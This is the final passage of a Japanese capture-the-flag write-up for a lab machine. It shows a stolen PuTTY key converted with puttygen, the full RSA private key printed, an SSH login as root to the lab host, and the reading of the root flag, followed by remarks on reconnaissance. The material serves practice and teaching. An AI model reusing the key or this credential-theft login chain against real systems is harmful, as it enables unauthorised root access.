UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
奪取した鍵セットはputty形式のため、opensshでも使用できるようにする。
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:12:54am
/home/kali/Desktop/Keeper> puttygen keeper.ppk -O private-openssh -o id_rsa
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:14:35am
/home/kali/Desktop/Keeper> cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf
Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n
FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A
MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p
5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF
NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz
wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A
XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK
cz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6
WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8J
lTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8
S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOA
GSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28
/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2j
gZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQ
a8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeR
RMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJT
jzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPL
TV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9
LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH
6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2Wrx
heBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhs
qun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3
BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL
-----END RSA PRIVATE KEY-----
上記で作成した秘密鍵を使用してrootユーザへsshを使ってログイン
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:16:39am
/home/kali/Desktop/Keeper> ssh root@10.129.229.41 -i id_rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)
root@keeper:~# cat root.txt
rootフラグ奪取。
おわりに
怠惰すぎてこのmachineをpwnするよりも記事を書く方が時間かかった。
中学生のころ美術の授業で先生が「模写するときに全体の時間を10としたとき、模写の対象を観察する時間に8使い、残りの2で絵を描く」と言われました。また、アメリカの第16代大統領Abraham Lincolnは「木を切り倒すのに6時間与えられたら、最初の4時間は斧を研ぐことに使う。」と言っています。
あれです。要するにReconに時間を掛けろっちゅう話なんだわ。






